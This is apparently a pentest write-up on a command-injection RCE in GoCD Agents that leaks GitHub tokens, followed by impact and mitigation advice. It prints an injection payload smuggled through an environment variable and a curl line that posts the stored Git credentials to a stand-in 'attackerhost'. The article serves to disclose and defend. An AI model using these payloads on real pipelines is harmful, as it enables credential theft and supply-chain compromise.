GoCD Agent RCE Leads to GitHub Token Leakage

In modern DevOps environments, continuous integration and continuous delivery (CI/CD) systems are critical to maintaining rapid and reliable software deployment. Open-source tools like GoCD streamline these processes by supporting the automation of the entire build-test-release process from code check-in to deployment. But misconfigurations or insecure practices within CI/CD pipelines can expose organizations to severe security risks.

This article is part of our Kubernetes Pentest Findings Series, where we share insights from a real-world security audit of a cloud-native environment. While the first post introduced the overall attack surface from Kubernetes to GitOps tools, this article examines a remote code execution (RCE) vulnerability identified in GoCD Agents, showing how improper handling of environment variables can lead to GitHub token leakage, ultimately compromising source code integrity and CI/CD infrastructure security.

Understanding the GoCD Agent RCE Vulnerability

RCE through command injection is possible on GoCD Agents, particularly when an attacker has permission to run pipelines and can set environment variables. If these variables are later used in command-line arguments, the agent becomes vulnerable.

Example Payload

To exploit the vulnerability, an attacker might inject the following into an environment variable:

--insecure --argumentx; Linux_Command;

This payload injects an additional command after the legitimate argument.

Once the pipeline runs, the injected command gets executed on the Linux-based GoCD Agent.

How GoCD Vulnerabilities Cause GitHub Token Leakage

Many pipelines store GitHub access tokens in environment variables for use in git commands. However, if these secrets are combined with unvalidated command-line input, they can be exfiltrated.

Example configuration:

GIT_AUTHUSER: {{SECRET:[secrets][gitauthuser]}}
GIT_AUTHKEY: {{SECRET:[secrets][gitauthkey]}}

An attacker can use this information to leak secrets with a crafted payload like:

--insecure --argumentx; curl -X POST -d "user=$GIT_AUTHUSER&key=$GIT_AUTHKEY" http://attackerhost/leaked;

This command sends the GitHub credentials to an external server via a standard HTTP POST request.

Impact on CI/CD Security and DevOps Pipelines

Exploiting this vulnerability within GoCD’s agent environment can have a serious security impact across the software delivery chain. Because GoCD often operates with elevated permissions to access repositories, registries, and deployment targets, compromising an agent’s execution context provides attackers with a powerful foothold inside the CI/CD environment.

Key risks include:

• Pipeline Takeover: Attackers can modify build or deployment scripts to inject backdoors, steal secrets, or tamper with release artifacts—compromising the integrity of production software.
• Source Code Exposure: With stolen GitHub tokens or API credentials, adversaries can clone private repositories, exposing intellectual property and sensitive configurations.
• Privilege Escalation: Once inside, malicious actors can pivot to other integrated systems such as Kubernetes clusters, artifact repositories, or cloud environments.
• Operational Disruption: Manipulated pipelines can delay releases, corrupt artifacts, or disable automated testing and security scans, impacting business continuity.

In short, an exploited GoCD Agent isn’t just a single compromised node – it can serve as an entry point to the entire software supply chain, eroding trust in build outputs and the organization’s DevOps workflow.

How to Mitigate GoCD Agent RCE and Prevent Token Leakage

Mitigating this risk requires a defense-in-depth strategy that combines secure configuration, input validation, and least-privilege principles across the CI/CD pipeline.

Recommended safeguards:

• Harden GoCD Agents: Isolate agents from sensitive networks using network segmentation. Limit outbound internet access to approved endpoints and apply strict firewall or proxy controls.
• Enforce Secure Variable Handling: Never pass secrets through command-line arguments or unvalidated environment variables. Instead, use secure credential stores or GoCD’s encrypted secret management.
• Validate and Sanitize Inputs: Ensure all user-provided variables are parsed safely before execution. Use static command definitions or YAML configurations that don’t rely on runtime concatenation.
• Implement Role-Based Access Control (RBAC): Restrict pipeline modification and execution rights to trusted users. Regularly audit permissions and token scopes to maintain least privilege.
• Monitor for Anomalies: Integrate security tooling that detects abnormal agent behavior, suspicious command execution, or network calls to unapproved hosts.

By combining these preventive controls, teams can significantly reduce the likelihood of command injection and protect CI/CD credentials from unauthorized exposure.

Why CI/CD Pipelines Are a Critical DevSecOps Attack Surface

The GoCD Agent RCE flaw underscores a broader truth in modern DevSecOps: automation without security oversight magnifies risk. When pipelines handle secrets, deployment credentials, and production assets, even a small misconfiguration can become a gateway to large-scale compromise.

Organizations must treat CI/CD infrastructure as critical attack surface, not just developer tooling. By implementing strict privilege boundaries, validating inputs, and continuously auditing configurations, DevOps teams can maintain both speed and security – ensuring that continuous delivery never becomes continuous exposure.

In the next article, we’ll dive deeper into how insecure GitOps workflows can be exploited  and what defenses keep your delivery pipeline tamper-proof.